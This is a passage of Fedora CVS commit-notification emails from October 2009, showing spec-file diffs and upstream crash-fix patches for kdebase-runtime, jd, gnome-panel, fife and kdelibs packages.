 BuildRequires: clucene-core-devel
 BuildRequires: hal-devel
 BuildRequires: kdelibs4-devel >= %{version}
@@ -63,6 +63,7 @@ BuildRequires: xine-lib-devel libxcb-dev
 %endif
 BuildRequires: xorg-x11-font-utils
 BuildRequires: xorg-x11-proto-devel
+BuildRequires: xz-devel
 BuildRequires: zlib-devel
 
 %description
@@ -73,6 +74,7 @@ Core runtime for the K Desktop Environme
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
 Requires: kdelibs4%{?_isa} >= %{version}
+Requires: kdepimlibs%{?_isa} >= %{version}
 Requires: %{name} = %{version}-%{release}
 %description libs
 %{summary}.
@@ -212,6 +214,10 @@ fi
 
 
 %changelog
+* Tue Oct 06 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.2-2
+- BR: bzip2-devel xz-devel
+- -libs: move Requires: kdepimlibs... here
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From mtasaka at fedoraproject.org  Thu Oct  8 17:32:43 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu,  8 Oct 2009 17:32:43 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.407, 1.408 jd.spec, 1.468, 1.469 sources,
	1.408, 1.409
Message-ID: <20091008173243.31E3A11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17362/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3119



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.407
retrieving revision 1.408
diff -u -p -r1.407 -r1.408
--- .cvsignore	5 Oct 2009 07:29:37 -0000	1.407
+++ .cvsignore	8 Oct 2009 17:32:41 -0000	1.408
@@ -1 +1 @@
-jd-2.5.0-svn3115_trunk.tgz
+jd-2.5.0-svn3119_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.468
retrieving revision 1.469
diff -u -p -r1.468 -r1.469
--- jd.spec	5 Oct 2009 07:29:38 -0000	1.468
+++ jd.spec	8 Oct 2009 17:32:42 -0000	1.469
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3115_trunk
+%define         strtag        svn3119_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3115
+* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3119
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.408
retrieving revision 1.409
diff -u -p -r1.408 -r1.409
--- sources	5 Oct 2009 07:29:38 -0000	1.408
+++ sources	8 Oct 2009 17:32:42 -0000	1.409
@@ -1 +1 @@
-11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz
+7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz



From mtasaka at fedoraproject.org  Thu Oct  8 17:32:43 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu,  8 Oct 2009 17:32:43 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.401, 1.402 jd.spec, 1.464, 1.465 sources,
	1.402, 1.403
Message-ID: <20091008173243.8D34811C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17362/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3119



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.401
retrieving revision 1.402
diff -u -p -r1.401 -r1.402
--- .cvsignore	5 Oct 2009 07:29:38 -0000	1.401
+++ .cvsignore	8 Oct 2009 17:32:42 -0000	1.402
@@ -1 +1 @@
-jd-2.5.0-svn3115_trunk.tgz
+jd-2.5.0-svn3119_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.464
retrieving revision 1.465
diff -u -p -r1.464 -r1.465
--- jd.spec	5 Oct 2009 07:29:38 -0000	1.464
+++ jd.spec	8 Oct 2009 17:32:42 -0000	1.465
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3115_trunk
+%define         strtag        svn3119_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3115
+* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3119
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.402
retrieving revision 1.403
diff -u -p -r1.402 -r1.403
--- sources	5 Oct 2009 07:29:38 -0000	1.402
+++ sources	8 Oct 2009 17:32:42 -0000	1.403
@@ -1 +1 @@
-11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz
+7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz



From mtasaka at fedoraproject.org  Thu Oct  8 17:32:44 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu,  8 Oct 2009 17:32:44 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.401, 1.402 jd.spec, 1.465, 1.466 sources,
	1.402, 1.403
Message-ID: <20091008173244.2CC0B11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17362/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3119



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.401
retrieving revision 1.402
diff -u -p -r1.401 -r1.402
--- .cvsignore	5 Oct 2009 07:29:38 -0000	1.401
+++ .cvsignore	8 Oct 2009 17:32:43 -0000	1.402
@@ -1 +1 @@
-jd-2.5.0-svn3115_trunk.tgz
+jd-2.5.0-svn3119_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.465
retrieving revision 1.466
diff -u -p -r1.465 -r1.466
--- jd.spec	5 Oct 2009 07:29:38 -0000	1.465
+++ jd.spec	8 Oct 2009 17:32:43 -0000	1.466
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3115_trunk
+%define         strtag        svn3119_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3115
+* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3119
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.402
retrieving revision 1.403
diff -u -p -r1.402 -r1.403
--- sources	5 Oct 2009 07:29:38 -0000	1.402
+++ sources	8 Oct 2009 17:32:43 -0000	1.403
@@ -1 +1 @@
-11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz
+7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz



From mtasaka at fedoraproject.org  Thu Oct  8 17:32:44 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu,  8 Oct 2009 17:32:44 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.390, 1.391 jd.spec, 1.453, 1.454 sources,
	1.391, 1.392
Message-ID: <20091008173244.3A84411C00EC@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17362/devel

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3119



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.390
retrieving revision 1.391
diff -u -p -r1.390 -r1.391
--- .cvsignore	4 Oct 2009 18:37:47 -0000	1.390
+++ .cvsignore	8 Oct 2009 17:32:43 -0000	1.391
@@ -1 +1 @@
-jd-2.5.0-svn3115_trunk.tgz
+jd-2.5.0-svn3119_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.453
retrieving revision 1.454
diff -u -p -r1.453 -r1.454
--- jd.spec	4 Oct 2009 18:37:47 -0000	1.453
+++ jd.spec	8 Oct 2009 17:32:43 -0000	1.454
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3115_trunk
+%define         strtag        svn3119_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3115
+* Fri Oct  9 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3119
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.391
retrieving revision 1.392
diff -u -p -r1.391 -r1.392
--- sources	4 Oct 2009 18:37:47 -0000	1.391
+++ sources	8 Oct 2009 17:32:43 -0000	1.392
@@ -1 +1 @@
-11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz
+7be66a16601e972e1d8bfe2992da9f29  jd-2.5.0-svn3119_trunk.tgz



From mclasen at fedoraproject.org  Thu Oct  8 17:56:47 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 17:56:47 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 panel-randr-crashes.patch, NONE,
	1.1 gnome-panel.spec, 1.372, 1.373
Message-ID: <20091008175647.2FB4511C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20955

Modified Files:
	gnome-panel.spec 
Added Files:
	panel-randr-crashes.patch 
Log Message:
fix randr-related  crashes


panel-randr-crashes.patch:
 panel-multiscreen.c |   36 ++++++++++++++++++++++++++++++------
 1 file changed, 30 insertions(+), 6 deletions(-)

--- NEW FILE panel-randr-crashes.patch ---
>From 66b8e290bd0b767183cba583917907940b5b425a Mon Sep 17 00:00:00 2001
From: Vincent Untz <vuntz at gnome.org>
Date: Tue, 6 Oct 2009 12:47:52 +0200
Subject: [PATCH] [panel] Fix crashes in various conditions with the new randr code

If nothing had probed the randr screen resources before us and the X
server is supporting randr 1.3, then we got no output, and therefore no
monitor. The fix here is to actively probe for resources if we detect
this case. See https://bugzilla.gnome.org/show_bug.cgi?id=597101

Also, in some cases, all outputs appear disconnected. See
https://bugzilla.novell.com/show_bug.cgi?id=543876

To be completely on the safe side, if we get no monitor information from
randr, even if it is successful, we fallback to the GTK+ method.
---
 gnome-panel/panel-multiscreen.c |   35 ++++++++++++++++++++++++++++++-----
 1 files changed, 30 insertions(+), 5 deletions(-)

diff --git a/gnome-panel/panel-multiscreen.c b/gnome-panel/panel-multiscreen.c
index 8a05221..4ed76ae 100644
--- a/gnome-panel/panel-multiscreen.c
+++ b/gnome-panel/panel-multiscreen.c
@@ -136,9 +136,17 @@ panel_multiscreen_get_randr_monitors_for_screen (GdkScreen     *screen,
 	xroot = GDK_WINDOW_XWINDOW (gdk_screen_get_root_window (screen));
 
 #if (RANDR_MAJOR > 1 || (RANDR_MAJOR == 1 && RANDR_MINOR >= 3))
-	if (have_randr_1_3)
+	if (have_randr_1_3) {
 		resources = XRRGetScreenResourcesCurrent (xdisplay, xroot);
-	else
+		if (resources->noutput == 0) {
+			/* This might happen if nothing tried to get randr
+			 * resources from the server before, so we need an
+			 * active probe. See comment #27 in
+			 * https://bugzilla.gnome.org/show_bug.cgi?id=597101 */
+			XRRFreeScreenResources (resources);
+			resources = XRRGetScreenResources (xdisplay, xroot);
+		}
+	} else
 		resources = XRRGetScreenResources (xdisplay, xroot);
 #else
 	resources = XRRGetScreenResources (xdisplay, xroot);
@@ -205,6 +213,17 @@ panel_multiscreen_get_randr_monitors_for_screen (GdkScreen     *screen,
 		return FALSE;
 	}
 
+	if (geometries->len == 0) {
+		/* This can happen in at least one case:
+		 * https://bugzilla.novell.com/show_bug.cgi?id=543876 where all
+		 * monitors appear disconnected (possibly because the  screen
+		 * is behing a KVM switch) -- see comment #8.
+		 * There might be other cases too, so we stay on the safe side.
+		 */
+		g_array_free (geometries, TRUE);
+		return FALSE;
+	}
+
 	*monitors_ret = geometries->len;
 	*geometries_ret = (GdkRectangle *) g_array_free (geometries, FALSE);
 
@@ -238,9 +257,15 @@ panel_multiscreen_get_raw_monitors_for_screen (GdkScreen     *screen,
 					       int           *monitors_ret,
 					       GdkRectangle **geometries_ret)
 {
-	if (panel_multiscreen_get_randr_monitors_for_screen (screen,
-							     monitors_ret,
-							     geometries_ret))
+	gboolean res;
+
+	*monitors_ret = 0;
+	*geometries_ret = NULL;
+
+	res = panel_multiscreen_get_randr_monitors_for_screen (screen,
+							       monitors_ret,
+							       geometries_ret);
+	if (res && *monitors_ret > 0)
 		return;
 
 	panel_multiscreen_get_gdk_monitors_for_screen (screen,
-- 
1.6.4.2

Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.372
retrieving revision 1.373
diff -u -p -r1.372 -r1.373
--- gnome-panel.spec	8 Oct 2009 04:56:14 -0000	1.372
+++ gnome-panel.spec	8 Oct 2009 17:56:46 -0000	1.373
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -114,6 +114,9 @@ Patch38: clock-network.patch
 Patch40: clock-home.patch
 Patch41: bookmarks-submenu.patch
 
+# from upstream
+Patch42: panel-randr-crashes.patch
+
 Conflicts: gnome-power-manager < 2.15.3
 
 %description
@@ -161,6 +164,7 @@ Panel Applets using the libpanel-applet 
 %patch38 -p1 -b .clock-network
 %patch40 -p1 -b .clock-home
 %patch41 -p1 -b .bookmarks-submenu
+%patch42 -p1 -b .randr-crashes
 
 . %{SOURCE6}
 
@@ -359,6 +363,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-4
+- Fix possible crashes related to randr events
+
 * Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-3
 - Accept more bookmarks in the places menu before overflowing
 



From linuxdonald at fedoraproject.org  Thu Oct  8 18:18:38 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Thu,  8 Oct 2009 18:18:38 +0000 (UTC)
Subject: rpms/fife/devel fife.spec,1.1,1.2
Message-ID: <20091008181838.684CF11C00DB@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/fife/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25034

Modified Files:
	fife.spec 
Log Message:

updatet to svn rev 3056



Index: fife.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/fife.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fife.spec	29 Sep 2009 21:26:46 -0000	1.1
+++ fife.spec	8 Oct 2009 18:18:38 -0000	1.2
@@ -1,4 +1,4 @@
-%global revision r3054
+%global revision r3056
 %global pyver %(python -c 'import sys ; print sys.version[:3]')
 
 Name:           fife
@@ -11,12 +11,12 @@ License:        LGPLv2+
 URL:            http://www.fifengine.de
 
 # svn co http://fife.svn.cvsdude.com/engine/trunk fife-2009.0
-# mv fife-2009.0 fife-2009.0_r3054
-# cd fife-2009_r3054 && find . -name '.s*' -exec rm -rf {} \;
+# mv fife-2009.0 fife-2009.0_r3056
+# cd fife-2009.0_r3056 && find . -name '.s*' -exec rm -rf {} \;
 # rm -rf tests/   -  removed for legal issues
 # rm -rf clients/   -  removed for legal issues
 # rm -rf ext/   -  removed for using system libs instead of shipped
-# tar -czvf fife-2009.0_r3054.tar.gz fife-2009.0_r3054
+# tar -czvf fife-2009.0_r3056.tar.gz fife-2009.0_r3056
 Source0:        %{name}-%{version}_%{revision}.tar.gz
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -27,7 +27,7 @@ BuildRequires:  boost-devel
 BuildRequires:  SDL_ttf-devel
 BuildRequires:  SDL_image-devel
 BuildRequires:  libvorbis-devel
-BuildRequires:  openal-devel
+BuildRequires:  openal-soft-devel
 BuildRequires:  swig
 BuildRequires:  python-devel
 BuildRequires:  zlib-devel
@@ -50,9 +50,9 @@ Unknown horizons is one of the clients t
 mv build/linux2-config-dist.py \
    build/linux2-config.py
 
-# openal instead of openal_soft
-sed -i 's|openal_soft|openal|g' \
-       build/linux2-config.py
+# openal-soft instead of openal_soft
+sed -i 's|openal_soft|openal-soft|g' \
+	build/linux2-config.py
 
 # python version not hardcoded
 sed -i 's|python2.5|python%{pyver}|g' \
@@ -114,6 +114,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 08 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2009.0-0.24.r3056svn
+- Update to r3056 and fixed some spec errors
+
 * Tue Sep 29 2009 Simon Wesp <cassmodiah at fedoraproject.org> - 2009.0-0.24.r3054svn
 - Update to r3054
 



From linuxdonald at fedoraproject.org  Thu Oct  8 18:22:42 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Thu,  8 Oct 2009 18:22:42 +0000 (UTC)
Subject: rpms/fife/devel .cvsignore, 1.2, 1.3 import.log, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091008182242.7609711C00DB@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/fife/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25986/devel

Modified Files:
	.cvsignore import.log sources 
Log Message:
Updatet fife to svn rev 3056


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	29 Sep 2009 21:26:46 -0000	1.2
+++ .cvsignore	8 Oct 2009 18:22:42 -0000	1.3
@@ -1 +1 @@
-fife-2009.0_r3054.tar.gz
+fife-2009.0_r3056.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	29 Sep 2009 21:26:46 -0000	1.1
+++ import.log	8 Oct 2009 18:22:42 -0000	1.2
@@ -1 +1,2 @@
 fife-2009_0-0_24_r3054svn_fc11:HEAD:fife-2009.0-0.24.r3054svn.fc11.src.rpm:1254259577
+fife-2009_0-0_24_r3056svn_fc11:HEAD:fife-2009.0-0.24.r3056svn.fc11.src.rpm:1255026127


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	29 Sep 2009 21:26:46 -0000	1.2
+++ sources	8 Oct 2009 18:22:42 -0000	1.3
@@ -1 +1 @@
-4fa98b0c2a394c373432f29d8e07cd81  fife-2009.0_r3054.tar.gz
+75c077af12713cac5642a915c0de892d  fife-2009.0_r3056.tar.gz



From linuxdonald at fedoraproject.org  Thu Oct  8 18:25:39 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Thu,  8 Oct 2009 18:25:39 +0000 (UTC)
Subject: rpms/fife/devel fife.spec,1.2,1.3
Message-ID: <20091008182539.8F4C511C00DB@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/fife/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26373

Modified Files:
	fife.spec 
Log Message:

fixed version number in spec file



Index: fife.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fife/devel/fife.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fife.spec	8 Oct 2009 18:18:38 -0000	1.2
+++ fife.spec	8 Oct 2009 18:25:39 -0000	1.3
@@ -3,7 +3,7 @@
 
 Name:           fife
 Version:        2009.0
-Release:        0.24.%{revision}svn%{?dist}
+Release:        0.25.%{revision}svn%{?dist}
 Summary:        Cross platform game creation framework
 
 Group:          Amusements/Games
@@ -114,7 +114,7 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Thu Oct 08 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2009.0-0.24.r3056svn
+* Thu Oct 08 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2009.0-0.25.r3056svn
 - Update to r3056 and fixed some spec errors
 
 * Tue Sep 29 2009 Simon Wesp <cassmodiah at fedoraproject.org> - 2009.0-0.24.r3054svn



From rdieter at fedoraproject.org  Thu Oct  8 18:26:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:26:19 +0000 (UTC)
Subject: rpms/kdelibs/devel kdelibs-4.3.2-kde#207173.patch, NONE,
	1.1 kdelibs.spec, 1.521, 1.522
Message-ID: <20091008182619.625A611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26597/devel

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#207173.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- khtml kpart crasher (kde #207173/209876)


kdelibs-4.3.2-kde#207173.patch:
 khtml_part.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#207173.patch ---
Subject: branches/KDE/4.3/kdelibs/khtml
Date: Thursday 08 October 2009
From: David Faure <faure at kde.org>
To: kde-commits at kde.org
Cc: khtml-cvs at kde.org

SVN commit 1032787 by dfaure:

Backport fix for 207173/209876: Hide the whole widget, not just the view and 
the
viewport. Otherwise the findbar stays around, receives focus, and this makes 
the
partmanager activate the part that we're currently deleting...
Forgot to do this before 4.3.2, so the fix will be in 4.3.3  :( 
CCBUG: 207173


 M  +1 -2      khtml_part.cpp  


--- branches/KDE/4.3/kdelibs/khtml/khtml_part.cpp #1032786:1032787
@@ -609,8 +609,7 @@
 
   if ( d->m_view )
   {
-    d->m_view->hide();
-    d->m_view->viewport()->hide();
+    widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.521
retrieving revision 1.522
diff -u -p -r1.521 -r1.522
--- kdelibs.spec	7 Oct 2009 10:39:07 -0000	1.521
+++ kdelibs.spec	8 Oct 2009 18:26:19 -0000	1.522
@@ -80,6 +80,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # upstream
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
+Patch101: kdelibs-4.3.2-kde#207173.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -203,6 +204,7 @@ format for easy browsing.
 # upstream patches
 # 4.3
 %patch100 -p0 -b .kde#209712
+%patch101 -p4 -b .kde#207173.patch
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -395,6 +397,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- khtml kpart crasher (kde #207173/209876)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix a deadlock in KLocale
 



From rdieter at fedoraproject.org  Thu Oct  8 18:26:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:26:19 +0000 (UTC)
Subject: rpms/kdelibs/F-12 kdelibs-4.3.2-kde#207173.patch, NONE,
	1.1 kdelibs.spec, 1.519, 1.520
Message-ID: <20091008182619.B690611C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26597/F-12

Modified Files:
	kdelibs.spec 
Added Files:
	kdelibs-4.3.2-kde#207173.patch 
Log Message:
* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
- khtml kpart crasher (kde #207173/209876)


kdelibs-4.3.2-kde#207173.patch:
 khtml_part.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#207173.patch ---
Subject: branches/KDE/4.3/kdelibs/khtml
Date: Thursday 08 October 2009
From: David Faure <faure at kde.org>
To: kde-commits at kde.org
Cc: khtml-cvs at kde.org

SVN commit 1032787 by dfaure:

Backport fix for 207173/209876: Hide the whole widget, not just the view and 
the
viewport. Otherwise the findbar stays around, receives focus, and this makes 
the
partmanager activate the part that we're currently deleting...
Forgot to do this before 4.3.2, so the fix will be in 4.3.3  :( 
CCBUG: 207173


 M  +1 -2      khtml_part.cpp  


--- branches/KDE/4.3/kdelibs/khtml/khtml_part.cpp #1032786:1032787
@@ -609,8 +609,7 @@
 
   if ( d->m_view )
   {
-    d->m_view->hide();
-    d->m_view->viewport()->hide();
+    widget()->hide();
     d->m_view->m_part = 0;
   }
 


Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/F-12/kdelibs.spec,v
retrieving revision 1.519
retrieving revision 1.520
diff -u -p -r1.519 -r1.520
--- kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.519
+++ kdelibs.spec	8 Oct 2009 18:26:19 -0000	1.520
@@ -80,6 +80,7 @@ Patch24: kdelibs-4.3.1-drkonq.patch
 # upstream
 # 4.3 branch
 Patch100: kdelibs-4.3.2-kde#209712.patch
+Patch101: kdelibs-4.3.2-kde#207173.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -203,6 +204,7 @@ format for easy browsing.
 # upstream patches
 # 4.3
 %patch100 -p0 -b .kde#209712
+%patch101 -p4 -b .kde#207173.patch
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -395,6 +397,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 08 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-3
+- khtml kpart crasher (kde #207173/209876)
+
 * Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
 - fix a deadlock in KLocale
 



From rdieter at fedoraproject.org  Thu Oct  8 18:27:05 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 18:27:05 +0000 (UTC)
Subject: rpms/kdelibs/devel kdelibs.spec,1.522,1.523
Message-ID: <20091008182705.579F011C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26922/devel

Modified Files:
	kdelibs.spec 
Log Message:
Release++



Index: kdelibs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdelibs/devel/kdelibs.spec,v
retrieving revision 1.522
retrieving revision 1.523
diff -u -p -r1.522 -r1.523
--- kdelibs.spec	8 Oct 2009 18:26:19 -0000	1.522
